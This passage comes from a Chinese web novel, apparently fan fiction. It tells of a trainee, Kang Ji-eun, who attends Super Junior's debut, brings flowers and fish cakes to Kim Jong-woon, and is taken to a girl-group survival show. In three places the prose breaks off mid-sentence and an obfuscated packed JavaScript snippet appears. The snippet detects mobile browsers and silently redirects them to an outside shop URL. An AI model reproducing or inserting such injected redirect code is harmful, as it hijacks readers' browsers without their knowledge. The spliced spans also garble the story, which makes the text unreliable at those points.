路过忠武路的时候,姜智恩突然想起什么,停下来。 “金钟沄。” “嗯?” “你出道那天,我能去看吗?” 金钟沄愣了一下,然后笑了。 “好。”他说,“我让人给你留位置。” “真的?” “真的。” 月光照在他脸上,他的眼睛很亮。 姜智恩看着他,突然觉得心里有什么东西,悄悄地,悄悄地,发芽了。 * 日子一天天过去,转眼就到了11月6日。 Super Junior正式出道,于韩国SBS电视台音乐节目《人气歌谣》首次登台表演出道曲《Twins (Knock Out)》。 姜智恩带着李在伊坐在观看席的角落里,两个人都很认真地看向舞台。 “听金钟沄说,这首歌曲是翻唱的,SM真是没良心,怎么给一个组合的出道曲是翻唱呢?”姜智恩拿着薯片轻轻地抿了一口,就丢进了垃圾桶。 她最近被舞蹈老师骂了,在戒断。 什么都不能吃,特别是碳水。 有时候饿了只能喝口水。 这种日子简直残酷! 李在伊看向舞台上一群洗剪吹发型的男孩们,有些好奇的指着第一个演唱的。 “欧尼,他好帅啊,是金钟沄吗?” 姜智恩摇头,“不是不是,我看看资料哈……”说着,她拿出手机翻了一遍,对比了照片和名字之后才开口,“他叫崔始源,看这个队形阵容,应该是门面,所以才是第一个出来的。” “哇哦,好厉害。”李在伊枕着下巴,“欧尼,我越来越期待金钟沄欧巴的出场了!” 19. (019) “欧尼,快看……表演开始了。”李在伊兴奋地抓着姜智恩的手,一脸期待地看向舞台。 音乐响起,舞台上的灯光变幻,十二个男孩站好了队形。 姜智恩的眼睛在人群中搜寻。 她看过出道组名单,知道金钟沄的艺名叫艺声。据说还是被李绣满老师亲自取名的,说是艺术家的声带,也给他奠定了大主唱的位置。 虽然有点不理解,但既然是公司起的,那就有公司的道理吧。 第一个亮相的是李赫宰和李东海。 紧接着是一名中国成员韩庚。 其余的人在灯光的阴影下,有些看不清脸。 李在伊迷茫地看着舞台上的十二个人,“欧尼,金钟云欧巴在哪儿啊?” “再等等,一会儿我指给你看。”姜智恩敷衍的回了一句,只能看向舞台。 摄像机的拍摄也很刁钻。 第一个镜头给到崔始源,那张脸出现在大屏幕上,观众席立刻响起一片惊呼。 第二个镜头给到韩庚,那张脸也是很能打的。 第三个镜头给到利特,队长站在中间,表情管理满分。 第四个镜头给到金希澈,狂肆的长发挽起,一股痞气的风格很是权威…… 姜智恩一个一个数着,数到第五个,还是没有看到金钟沄。 “欧尼,他在哪?”李在伊伸长脖子往台上看,“我怎么找不到?” “别急,可能在后边。”姜智恩说,但心里已经开始发慌。 终于,在副歌部分的一个集体镜头里,她看到了他。 他站在最边上。 就是字面意义上的最边上。 队伍的最后一排,最左边那个位置,如果镜头再往右偏一点点,他就会被完全切出画面。 而且他的头发…… 姜智恩愣住了。 那个发型是什么鬼? 原本柔顺的黑发被烫成了什么样子?蓬松、凌乱、像是一团被炸过的方便面堆在头上。配上那身舞台服装,整个人看起来像是被造型师随手抓来试验新工具的小白鼠。 “那个是金钟沄欧巴吗?”李在伊迟疑地问。 姜智恩张了张嘴,没说出话来。 舞台上,舞蹈动作继续着。 金钟沄认真地跳着,每一个动作都做到最到位,每一个表情都管理得很好。但镜头从他身上掠过的次数,少得可怜。 一次。 两次。 三秒。 姜智恩偷偷地看了一眼手机上的计时。整首歌下来,金钟沄出现在特写镜头里的时间,加起来不超过三秒钟。剩下的时间里,他要么是背景里模糊的一角,要么是群舞中被挡住大半的身影。 “……”李在伊沉默了一会儿,然后小心翼翼地说,“可能是镜头没给到,下次就好了吧?” 姜智恩没说话,只是看着舞台上的那个人。 他还是跳得很认真,和练习室里一样认真。好像只要自己够努力,镜头就会多看他一眼。 但姜智恩知道,不是这样的。 出道了又怎么样呢? 那个在练习室里陪她练到深夜的人,那个会把自己的鱼饼留到最后的人,那个鞋底磨破了也不舍得换鞋的人……现在站在最边上,顶着最奇怪的造型,连三秒的镜头都分不到! 她突然有点想哭。 这么多年的努力换来的只有这区区三秒?如果不仔细看,根本没注意到他!也就是说金钟云的首次舞台,只是一闪而过。 根本不可能有粉丝注意到他。 粉丝们会看见的是门面崔始源,是舞担韩庚,是队长利特,甚至是李赫宰,是李东海,是强仁,是金起范…… 可是,独独没有金钟云。 因为他只有三秒啊,想要看清楚脸的时候,人都已经消失在人群里。 他那么的努力,换来的只有这个? 姜智恩心疼,她开始质疑,这就是我们拼劲一切想要的出道吗?? 如果是这样的话,宁愿不出道! 姜智恩在心里暗骂SM不做人,只能跟着李在伊一直盯着那个在角落里跳舞的男孩。 “看,那个角落里的人就是金钟沄。”她说的很自豪,就像是在说什么珍贵的宝贝一般。 李在伊蹙眉,“呀,欧尼,灯光有些暗,我都看不清他的脸。” 就在两个人嘀咕的时候,突然歌声里传来了激昂的高音。 姜智恩抓着李在伊的手兴奋道:“在伊,你看,是钟云欧巴在飙高音!我的天,这应该是G2吧?我去,还在继续飙高音!快有G5了!也太厉害了吧!” 李在伊不懂得什么G2,还是G5,她只知道那个边唱边飙高音的男孩,也太透明了。完全的存在感很低。 可是,这个高音丝滑又有力量。 绝绝子。 李在伊伸出大拇指,“欧尼,你放心,金钟云欧巴肯定能火的!” 一首歌的时间很少,也不过区区三分半的样子。 姜智恩看到最后真的是感动得落泪。 她感动的是终于看到金钟沄的舞台了,落泪的是只能在角落里找到他的影子。 可惜,又可叹。 舞台表演结束,十二个男孩鞠躬致谢,然后退场。 观众席上响起掌声和尖叫声,有人在喊崔始源的名字,有人在喊利特的名字,还有人在喊金希澈的名字。 没有人喊艺声。 李在伊抓着姜智恩的手,“欧尼,快喊出欧巴的名字!!” 姜智恩这才反应过来,舞台已经结束了。 她看着那个在人群里逐渐淡去的身影,大喊了一声:“艺声,fighting!” 舞台上一个顶着栗子头的男孩脚步一顿,转身朝着观众席上重重弯腰,行了个礼,然后才跟着成员们落幕。 “我们走。” 姜智恩见了,立刻站起身,往外走。 “欧尼,你去哪儿?”李在伊追上来。 “后台。” “后台?我们能进去吗?” “我去找经纪人。” Super Junior的经纪人是个三十多岁的男人,姜智恩在公司见过几次,知道他姓朴。她在后台通道口等了一会儿,看见他匆匆走过来,连忙迎上去。 “朴经纪人nim!” 朴经纪人停下脚步,看着她:“你是……” “我是公司的练习生,姜智恩。我是金钟沄,哦,不是,我是艺声欧巴的朋友,想来给他送花。” 朴经纪人打量了她一眼,点点头:“进去吧,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352961|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别待太久,他们一会儿还有采访。” “谢谢您!” 姜智恩抱着一束花,往待机室走。花是她来之前买的,白色的雏菊,配着淡绿色的包装纸。金钟沄说过他喜欢雏菊,说这种花看起来不起眼,但开起来很顽强。 待机室的门虚掩着,里面有声音传出来。 姜智恩站在门口,透过门缝往里看。 十二个男孩或坐或站,有的在喝水,有的在补妆,有的在发呆。没有想象中的欢呼和庆祝,空气里弥漫着一种说不清的沉默。 然后,她看见有人哭了。 是利特。 那个在舞台上笑得最灿烂的队长,此刻低着头,肩膀微微颤抖。旁边的银赫伸手拍了拍他的背,自己的眼眶也是红的。 然后更多的人开始哭。 他们抱在一起,十二个人围成一个圈,头抵着头,肩膀抽动着。没有人说话,只有压抑的抽泣声在小小的待机室里回荡。 姜智恩站在门口,手握着门把手,不知道该不该进去。 她看见金钟沄站在那个圈子的最外围。 他也在哭。 眼泪顺着脸颊往下流,但他咬着嘴唇,不让自己发出声音。他的头发还是那个糟糕的爆炸头,被眼泪打湿了几缕,贴在额头上。 看起来狼狈极了。 姜智恩的心揪了一下。 她推开门,走进去。 没有人注意到她。 十二个人还沉浸在那种复杂的情绪里——是出道了的喜悦,是终于站上舞台的激动,也是对未来不确定的忐忑和委屈。 姜智恩走到金钟沄身边,轻轻拉了拉他的袖子。 金钟沄转过头,看见是她,愣了一下,然后飞快地用手背擦了擦脸。 “你怎么来了?”他的声音哑哑的,带着哭过的鼻音。 “来给你送花。”姜智恩把花递过去,“恭喜出道。” 金钟沄看着那束雏菊,眼睛又红了。 他伸出手,刚要接—— 一只手从旁边伸过来,抢先一步把花拿走了。 “谢谢!”那人笑着说,声音轻快,“是送给我们的吧?谢谢粉丝!” 姜智恩愣住了。 拿走花的是李赫宰——就是那个在台上跳得很活泼的男孩,艺名好像是叫银赫。他把花抱在怀里,笑眯眯地看着她,一副“我是代表全队收花”的理所当然的表情。 姜智恩:“……” 她深吸一口气,努力让自己的语气听起来平静:“那个……我是给金钟沄的。” “嗯?”李赫宰眨眨眼,“给谁的?” “给金钟沄。”姜智恩指了指他身后的金钟沄,“艺声。我是给他送花的。” 李赫宰看看手里的花,又看看站在后面的金钟沄,再看看姜智恩,然后笑了。 那笑容里带着点狡黠,像是抓住了什么有趣的把柄。 “哦~~”他拖长了声音,“是给艺声哥的啊。” 他把花递还给金钟沄,然后故意提高音量说:“艺声哥,是你的粉丝也!” 待机室里安静了一秒。 然后几个哥哥转头看过来。 金钟沄的脸腾地红了。 “你闭嘴!”他压低声音说,接过花,恨不得把头埋进花束里。 20. (020) 李赫宰笑得更大声了,躲到利特身后,探出半个脑袋:“艺声哥害羞了!害羞了!” 利特拍了他一下:“别闹。”但自己也忍不住笑了。 气氛突然轻松了一些。 刚才还在哭的几个人,这会儿脸上还挂着泪痕,嘴角却已经扬起来了。 始源递过来纸巾,神童不知道从哪儿翻出一包零食,希澈靠在墙上,懒洋洋地看着闹成一团的弟弟们。 姜智恩站在金钟沄面前,看着他抱着花、红着脸、顶着那个糟糕的爆炸头的样子,突然很想笑。 “你的发型,”她压低声音说,“是得罪造型师了吗?” 金钟沄抬头看她,眼神里带着点委屈:“我也不知道会这样,化完妆照镜子的时候我自己都吓了一跳。” “像方便面。” “我知道。” “还是煮烂了的那种。” “姜智恩!”金钟沄瞪她,但眼睛里没有生气的意思,反而带着点笑意,“你是来安慰我的还是来损我的?” “都有吧。”姜智恩说,然后认真地看着他,“你跳得很好。” 金钟沄愣了一下。 “真的。”她说,“我看了全程。你每一个动作都做得很到位,表情管理也很好。虽然镜头没给你几个……” “喂。” “但是没关系,”她笑起来,眼睛弯成两道月牙,“以后会有的。你那么厉害,镜头总会找到你的。” 金钟沄看着她,好一会儿没说话。 然后他笑了。 是那种很轻很轻的笑,但眼睛里亮亮的,像是有什么东西在里面发光。 “嗯。”他说,“谢谢你,姜智恩。” “不用谢。”姜智恩摆摆手,“花送到了,我该走了。一会儿不是还有采访吗?” “我送你。” “不用,就几步路。” “那也要送。” 两个人往门口走。 经过李赫宰身边的时候,他还在那儿笑,被金钟沄瞪了一眼。 “艺声哥,”李赫宰小声说,“女朋友?” 金钟沄的耳朵尖红了:“不是!” “哦~~”李赫宰又拖长了声音,那个“哦”字拐了三个弯。 姜智恩假装没听见,快步走出待机室。 走廊里安静下来,只有两个人的脚步声。 走到通道口,姜智恩停下来:“就到这里吧。你快回去,别让经纪人等。” 金钟沄点点头,但没动。 “怎么了?” “没什么。”他说,犹豫了一下,然后问,“那个……你觉得怎么样?我们组合。” 姜智恩认真地想了想。 “歌嘛,翻唱的,不太适合你们。”她实话实说,“造型嘛,有点一言难尽。队形嘛,你站得太靠边了。” 金钟沄苦笑:“能不能说点好的?” “但是,”姜智恩看着他,“你们会火的。我有预感。” “真的?” “真的。”她说,“你们人那么多,总有一个能火。就算你不行,崔始源肯定行。” “……姜智恩!” 她笑起来,往后退了两步,冲他挥挥手:“走了!下次请你吃拉面!” “是我请你!”金钟沄在后面喊。 姜智恩没回头,只是把手举起来,在空中挥了挥。 走出电视台,外面的风有点凉。 李在伊等在门口,看见她出来,连忙跑过来。 “欧尼!怎么样?花送到了吗?” “送到了。” “他开心吗?” 姜智恩想了想金钟沄抱着花、红着脸、顶着那个方便面头的样子,忍不住笑了。 “开心吧。”她说,“虽然造型有点惨,镜头也没几个,但他好像还行。” 李在伊叹了口气:“SM的造型师是不是对他有意见?那个发型也太……” “别提了。”姜智恩打断她,“我们回去吧,明天还要练习。” “嗯。” 两个人往公交站走。 路过一家便利店的时候,姜智恩突然停下来。 “等一下。” 她走进去,买了一包炒年糕,然后让老板多给一份鱼饼。 “欧尼,你不是在戒碳水吗?”李在伊不解。 “不是我吃的。”姜智恩把鱼饼单独装好,放进包里,“是给别人的。” “给别人?” 姜智恩没解释,只是笑了笑。 走出便利店,她抬头看了看天。 今晚的星星很亮,一颗一颗挂在深蓝色的天幕上。 她想起金钟沄说过的话:你也会出道的。一定会。 她想起他站在路灯下,说下次我请你吃拉面。 她想起他伸出小拇指,说不管我出不出道,不管你什么时候出道,这个约定不变。 现在他出道了。 站在最边上,顶着最奇怪的造型,只分到了三秒的镜头。 但那又怎么样呢? 他还是他。 还是那个在练习室里陪她抠动作的金钟沄。还是那个吃炒年糕会把鱼饼留到最后的金钟沄。还是那个鞋底磨破了也不舍得换鞋的金钟沄。还是那个会对她说“等我”的金钟沄。 姜智恩把手伸进包里,摸了摸那袋鱼饼。 明天去公司的时候,找个机会给他吧。 虽然他现在是出道艺人了,虽然他们可能不能像以前那样经常见面了,虽然她只能在舞台的最边上找到他的身影。 但有些东西,是不会变的。 就像他说过的。 就像她答应的。 不变。 她笑了笑,加快脚步,往公交站走去。 * 第二天下午,姜智恩结束了上午的课程,在练习室待到五点,然后找了个借口溜出来。 她也不知道金钟沄今天会不会来公司。 出道组有出道组的行程,可能在做综艺培训,可能在录歌,可能在拍什么。她只能碰碰运气。 站在公司后门那条巷子里,姜智恩等了一会儿,没等到人。 算了。 她正准备回去,就看见一个熟悉的身影从巷子另一头走过来。 不是金钟沄。 是李赫宰。 他穿着宽松的卫衣,戴着棒球帽,帽檐压得很低,手里拎着一袋零食。看见姜智恩,他愣了一下,然后笑起来。 “哦?艺声哥的粉丝!” 姜智恩:“……” 她转身就走。 “哎哎哎别走!”李赫宰快走几步追上来,“我开玩笑的!你别告诉艺声哥我欺负他粉丝啊!” 姜智恩停下脚步,回头看他:“我不是他粉丝。” “那你是……” “我是他朋友。” 李赫宰眨眨眼,打量着她。那眼神里带着点好奇,带着点审视,还带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352962|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着点“我知道了什么秘密”的狡黠。 “朋友啊,”他拖长声音,“异性朋友,还送花,还单独来后台……” “只是朋友。”姜智恩打断他,“一起练习过而已。” 李赫宰看着她,突然笑了。 那笑容和之前的调侃不一样,柔和了很多,眼睛里带着点认真。 “你是那个练习生吧?”他说,“艺声哥提过你。” 姜智恩愣了一下:“他提过我?” “嗯。”李赫宰点点头,“有一次我们熬夜练习,累得不行,他坐在地上发呆。我问他在想什么,他说想起以前在练习室的时候,有个人和他一起抠动作,抠到凌晨三点,两个人对着镜子笑,笑得跟傻子一样。” 姜智恩没说话。 “他还说,”李赫宰继续说,“那个人现在还在练习,比他辛苦多了。等他出道了,一定要请她吃拉面。” 姜智恩低下头,看着自己的脚尖。 原来他都记得。 “他今天在公司吗?”她问。 “在。”李赫宰说,“在三楼录音室,录一首什么歌。我也不知道,反正他被抓去试音了。” 姜智恩点点头,从包里掏出那袋鱼饼。 “帮我把这个给他。”她递给李赫宰,“就说是我买的,让他记得吃。” 李赫宰接过袋子,看了看里面的东西,表情有点微妙。 “鱼饼?” “嗯。” “就鱼饼?” “他喜欢吃。” 李赫宰又笑了。 这次的笑容里没有调侃,只有一种说不清的东西。像是羡慕,又像是感慨。 “好,”他把鱼饼收好,“我帮你带给他。” 姜智恩说了声谢谢,转身往公司后门走。 走出去几步,身后传来李赫宰的声音。 “喂!” 她回头。 李赫宰站在巷子里,夕阳的光落在他身上,把他的轮廓镀上一层暖橙色。 “你叫什么名字?” “姜智恩。” “姜智恩,”他重复了一遍,然后笑起来,“艺声哥的朋友,记住了。” 姜智恩没再说什么,推开公司的门,走了进去。 * 录音室里,金钟沄正戴着耳机,对着麦克风一遍一遍地唱着同一句。 “不行,再来一遍。” 制作人的声音从对讲机里传来,带着点疲惫。 这已经是第十七遍了,那句高音他总也唱不到位。 金钟沄深吸一口气,点点头。 正要开口,录音室的门被推开一条缝,李赫宰探进半个脑袋。 制作人回头看他:“有事?” “没没没,”李赫宰摆手,“我就找艺声哥说句话,一分钟。” 制作人摆摆手,示意他快点。 李赫宰溜进录音室,走到金钟沄身边,从背后掏出那袋鱼饼。 “给你的。” 金钟沄低头看着那袋东西,愣住了。 “哪儿来的?” “你那个朋友,”李赫宰说,“姜智恩。她让我带给你的,说让你记得吃。” 金钟沄接过袋子,看着里面单独装好的鱼饼,好一会儿没说话。 李赫宰看着他,突然凑近了一点。 “艺声哥。” “嗯?” “那个姜智恩,”李赫宰压低声音,“是不是喜欢你?” 21. (021) 金钟沄的耳朵尖又红了。 “你胡说什么!” “我哪有胡说?”李赫宰一脸无辜,“你看啊,她给你送花,给你送鱼饼,还专门来后台找你。这不是喜欢是什么?” “那是……那是因为我们认识很久了!” “哦~~”李赫宰又拖长了声音,那个“哦”字还是拐了三个弯,“认识很久了啊!” 金钟沄瞪他,但耳朵尖的红已经蔓延到了脸颊。 李赫宰看着他这副样子,忍不住笑了。 “行了行了,不逗你了。”他拍拍金钟沄的肩,“人家让我转告你,记得吃。我任务完成,走了。” 他走到门口,又回头看了一眼。 金钟沄还站在那儿,低头看着手里的鱼饼,嘴角微微翘起一点弧度。 那个表情,李赫宰从来没在他脸上见过。 像是累了一天突然吃到一碗热饭,像是练习到深夜突然看见天亮,像是…… 像是什么? 李赫宰想不出来,但他知道,那个表情很好看。 他轻轻关上门,走了。 录音继续。 第十八遍,第十九遍,第二十遍。 唱到第二十三遍的时候,制作人的声音终于从对讲机里传来。 “好,过了。” 金钟沄摘下耳机,长长地吐出一口气。 走出录音室的时候,天已经黑了。他掏出手机,想给姜智恩发条消息,但打了几个字又删掉。 说什么呢? 谢谢你的鱼饼? 太正式了。 很好吃? 还没吃呢。 他想了想,最后还是发了一条最简单的。 【鱼饼收到了。谢谢。】 发完,他把手机揣进口袋,往宿舍的方向走。 走到半路,手机震了一下。 他掏出来看。 【记得吃。别又像上次一样放到第二天。】 金钟沄看着那条消息,笑了。 上次。 那是很久以前的事了。有一次姜智恩给他带了鱼饼,他没舍得吃,放在练习室的角落里,想等练习完再吃。结果练习完忘了,第二天想起来的时候,鱼饼已经坏了。 她为这个念叨了他一个星期。 他站在路灯下,盯着手机屏幕看了好一会儿,然后打字。 【这次不会了。现在就吃。】 发完,他真的打开袋子,拿出一块鱼饼咬了一口。 凉的,有点硬,不如刚出锅的好吃。 但他还是一口一口吃完了。 吃完,他又发了一条消息。 【吃完了。很好吃。】 这一次,那边回得很快。 【骗人,凉的有什么好吃的。】 金钟沄看着这条消息,笑出了声。 他靠在路灯杆上,抬头看天。 今晚的星星没有昨天多,只有几颗零零散散地挂着,但也很亮。 他想,等下次见面的时候,一定要当面谢谢她。 不只是谢谢鱼饼。 谢谢她来看他出道。 谢谢她说“以后会有的”。 谢谢她什么都没变。 他把手机揣回口袋,往宿舍走去。 明天还有练习,还有行程,还有很多很多事要做。但今天晚上,他吃到了世界上最好吃的凉鱼饼。 鱼饼吃完了,袋子空了。 金钟沄把包装纸折好,塞进垃圾桶,手插进口袋继续走。夜风灌进领口,凉飕飕的,但他觉得胸口那块地方是热的。 他想起刚才李赫宰说的话——“这不是喜欢是什么?” 什么啊。 他踢开脚边一颗小石子。 他们认识没多久。从年初到现在大概10个月的样子。 姜智恩的厨艺很好,他和金溪澈都很喜欢。特别喜欢她做的中餐,所以三个人偶尔也会去出租屋开小灶。 当然,出租屋是和金溪澈合租的。 金钟沄的家里……目前条件不太好,他以前是每日从首尔到天安往返,直到攒了一点钱才更加确定生活在首尔。 平时还要兼职上课,所以他才会和姜智恩说,如果不能出道,那就该干嘛干嘛。 或许会参加高考,考上一个普通大学,以后早九晚六当社畜。 他和姜智恩之间的关系就像那条鱼饼。 凉了,但还是要吃。 因为是她给的。 他走到宿舍楼下,抬头看。五楼的灯亮着,队友应该还没睡。他掏出手机看了一眼时间,快十一点了。 屏幕上还停在和姜智恩的对话框。 最后一条是她发的:【早点睡。别又熬夜练习。】 他打了几个字,又删掉。打了,又删掉。 最后发了一个:【嗯。】 发完,他又盯着那个“嗯”字看了半天。 什么啊。 他锁了屏幕,上楼。 * 姜智恩盯着手机,等了一会儿,没等到新消息。 她把手机扣在桌上,继续翻乐谱。 小姑姜怀瑾很有商业能力,如今花店经营的很好,房子也不用做抵押。姜智恩也不至于流落街头,如今还是住在忠武路的小别墅的客房里。 金莲娜金管家总是板着一张脸。 只有李在伊每天缠着她辅导作业。 小姑和小姑父平时很忙,现在花店的生意很好,两个人睁眼就要去花店开工,听说小姑父李敏洙打算用营收重新把影视公司开起来。 这是,好事。 辅导完李在伊的学习之后,姜智恩一个人坐在书桌前,台灯开着,腿上摊着一本《钢琴基础教程》。 明天有专业课。 手机传来叮咚的提醒,她把那个“嗯”字又看了一遍,然后把手机翻过去,强迫自己把注意力放回谱子上。 但那些音符像在跳舞,跳来跳去,跳成一个人站在路灯下吃鱼饼的样子。 她笑了一下。 然后赶紧把嘴角压下去。 什么啊。 她翻了一页谱子。 * 第二天早上八点,姜智恩准时出现在音乐教学楼。 这是系里给她们这些主修声乐的学生安排的练声时间。她到的时候,已经有几个同学在了,有的在开嗓,有的在压腿,有的靠在墙边刷手机。 “智恩xi!”一个扎马尾的女生冲她招手,“你听说了吗?” 姜智恩把包放下,拿出保温杯:“听说什么?” “那个女团选秀,就是那个什么娱乐公司办的,听说咱们系有人被选上了!” 姜智恩喝了一口水:“哦,是吗?” “你怎么一点都不激动啊?” “激动什么,我已经是SM公司的练习生了呀!” 她放下杯子,开始做发声练习。 mi——mi——mi——ma——ma——ma ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352963|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 做到第三个八度的时候,门突然被推开了。 系主任站在门口,目光在房间里扫了一圈,最后落在她身上。 “姜智恩,跟我来一下。” 姜智恩愣了一下,放下手,跟上。 走廊里很安静,只有两个人的脚步声。 系主任走在前面,没回头,语气很平淡:“昨天接到一个电话,是之前那个选秀节目的导演组打来的。他们有一个选手临时退出了,需要人补上。” 姜智恩脚步顿了一下。 “他们看了你之前的海选视频,觉得你条件不错,想让你过去试试。” “现在?” “现在。”系主任终于回头看她一眼,“车在外面等着。你先去,具体情况路上说。学校这边我给你请假。” 姜智恩站在原地,脑子有点转不过来。 “老师,我现在是SM娱乐公司的练习生,如果这个时候参加选秀,可能要和公司那边说一声。”姜智恩有些紧张,“可能因为有合约在身,公司不会同意。” “公司那边我已经联系上了,是李绣满老师亲口同意的。”系主任表情认真,不像是骗人的。 姜智恩脑子卡壳 ,“老师您……” “别问了,快走。”系主任已经往前走了,“机会难得,别错过。” 姜智恩跟在后面,脚步有些发飘。 她想起几个月前那个海选。 那天她其实没想去的,是室友硬拉着她一起报名。她去了,唱了一首歌,然后就没有然后了。 她以为那就是结束了。 她想起那个女团选秀节目,她看过几期,在电视上。那些女孩子站在舞台上,灯光很亮,台下有很多人喊她们的名字。 她想起金钟沄出道的那天。 她站在人群里,看他站在舞台上,灯光很亮,台下有极少有人喊他的名字。 她想起那条消息。 【吃完了。很好吃。】 骗人。 凉的有什么好吃的。 但她还是回复了。 可是这些能代表什么? 现在有一个机会出现在面前,她必须把握。 “好的,谢谢老师。”姜智恩跟上系主任的脚步,朝着校门口走去。 很快,就看到学校门口停着一辆黑色的保姆车。 车门拉开,里面坐着一个戴眼镜的女人,看见她,笑了一下:“姜智恩是吧?上车吧,路上跟你讲具体情况。” 姜智恩坐进去,车门关上。 车里有一股淡淡的香水味,空调开得很足。 女人递给她一瓶水,又递给她一份文件。 “这是临时合同,你先看看。不急,到地方之前看完就行。” 姜智恩接过那份文件,封面印着几个字——《星光少女》第三季选手协议。 她翻开第一页。 “那个……”她开口。 “嗯?” “为什么是我?” 女人看了她一眼,笑了一下:“导演组选的。他们看了你的海选视频,觉得你有潜力。而且,你形象不错,条件也好。正好有一个选手因为身体原因退出了,需要人补上。” 姜智恩没说话。 “怎么,不想去?” “不是……”她顿了顿,“就是有点突然。” 女人又笑了一下:“是挺突然的。但娱乐圈就是这样,机会来了就是来了,没有让你准备的时间。” 22. (022) 姜智恩低头看着手里的文件。 那些字密密麻麻的,她看不太进去。 她想起昨天晚上的事。 她想起那个站在路灯下吃鱼饼的人。 她想起他出道那天,她站在人群里,看他站在舞台上。 她想,如果她也站在舞台上呢? 如果她也站在那个很亮的灯光下面呢? 她会不会也变成他眼里的那几颗星星? 车窗外,风景在往后退。 她把文件合上,看向窗外。 “我去。” 她说。 * 金钟沄是在下午三点收到那条消息的。 那时候他刚结束一个采访,正在车上闭眼休息。手机震了一下,他掏出来看。 是姜智恩发来的。 【我要去参加女团选秀了。现在在去录制现场的路上。】 他盯着屏幕看了三秒钟。 然后坐直了身体。 旁边的经纪人被吓了一跳:“怎么了?” 金钟沄没理他,低头打字。 【哪个选秀?】 那边回得很快。 【星光少女。】 金钟沄的手顿了一下。 那个节目他知道,最近很火。他前几天还看过一期,是李赫宰拉着他一起看的,说里面有个练习生跳舞很好看。 他继续打字。 【什么时候录?】 【今天。马上到。】 他看了一眼窗外,又看了一眼时间。 然后他对经纪人说:“哥,帮我查一下,《星光少女》的录制现场在哪儿。” 经纪人愣了一下:“干嘛?” 金钟沄没回答。 他只是低下头,继续盯着手机屏幕。 屏幕上,姜智恩又发了一条消息。 【等我出道了,也给你送应援。鱼饼,热的。】 金钟沄看着那条消息,嘴角慢慢弯起来。 他打了几个字。 发送。 【好。我等着。】 车窗外,阳光正好。 他想,今天晚上,他可能又要去吃凉鱼饼了。 * 车窗外,首尔的街道在眼前掠过。 姜智恩攥着手机,屏幕还亮着,是金钟沄发来的那条消息——【好。我等着。】 她看了好几遍,然后把手机贴在心口,像捂着什么珍贵的东西。 “紧张吗?”旁边的女人问她。 两个人了解之后,姜智恩才知道带她来的人叫朴秀英,是节目组派来接她的工作人员。 朴秀英详细的和她介绍了《星光少女》的比赛规则,如今大热的选手是一个叫做金允茵的女孩。 年龄才16岁,舞蹈很好,嗓音完全是混响。 姜智恩记得这个女孩,还是因为李在伊在家里追选秀,李在伊特别讨厌金允茵,还说她根本不配做什么大主唱,每次都是站C位,李在伊喜欢的是另一个女选手。 所以,哪怕朴秀英给姜智恩看了金允茵的现场,可是她从内心里还是觉得这个女生太飘了。 节目把她捧得太高了,容易摔的很惨。 朴秀英见着姜智恩没说话,递过去一包湿巾,“是不是紧张得说不出话了?” “还好。” “正常。”朴秀英微微一笑,“擦擦手,都出汗了。” 姜智恩接过来,低头擦手。 她的手确实在抖,不是因为紧张,是因为太快了。快到她还没反应过来,人已经在车上了。 “到了。” 车停在一栋大楼前。 门口已经围了不少人,有举着相机的粉丝,有拿着场记板的工作人员,还有几个穿得很漂亮的女生正往里走。 姜智恩深吸一口气,拉开车门。 然后她愣住了。 因为,对面那辆黑色的保姆车正好也停下来,车门拉开,一个人跳下来。 “金钟沄??”姜智恩低声的喊了一声他的名字,忍不住往朴秀英的身后躲了一下。 金钟沄就在一群人的目光里,朝着她走来。 他穿着牛仔套装,一件灰色的卫衣,帽子扣在头上,像是从行程里挤出时间来这里的。 姜智恩在心里猜想,难道金钟沄在电视台有行程? 有举着相机的粉丝朝着这边看了一眼,又看了看瘦弱的姜智恩。 “那个男的是谁呀 ?” “不知道,不认识。” “我怎么看着像是哪个男团爱豆?” “不管了,拍下来,拍下来。” 有粉丝举着相机打算拍摄,可是跟在金钟云身后的男人——大概是经纪人上前挡在她们面前,挡住了拍照的镜头。 有女生小声的发出惊叹,“真的是爱豆!” “是谁啊……为什么想不起来呢?” “可我觉得好面熟,好像在哪儿看见过……” “……” 路人的说话声同时被姜智恩听见,她眨眨眼,手紧紧攥着。 出道舞蹈就只有三秒的镜头,在角落飙高音只能被当做背景音…… 这些对金钟云来说,肯定是打击。 姜智恩还在唏嘘,刚才那些旁人的话,希望他没听见。 就在这时候,金钟沄拢了拢衣角,他下车的第一件事不是往里走,而是往她这边看。 四目相对。 姜智恩站在原地,忘了动。 金钟沄朝她走过来,步子很快,走到她面前才停下来。 “你怎么来了?”姜智恩的声音有点哑。 目光里甚至带着一丝好奇与紧张。 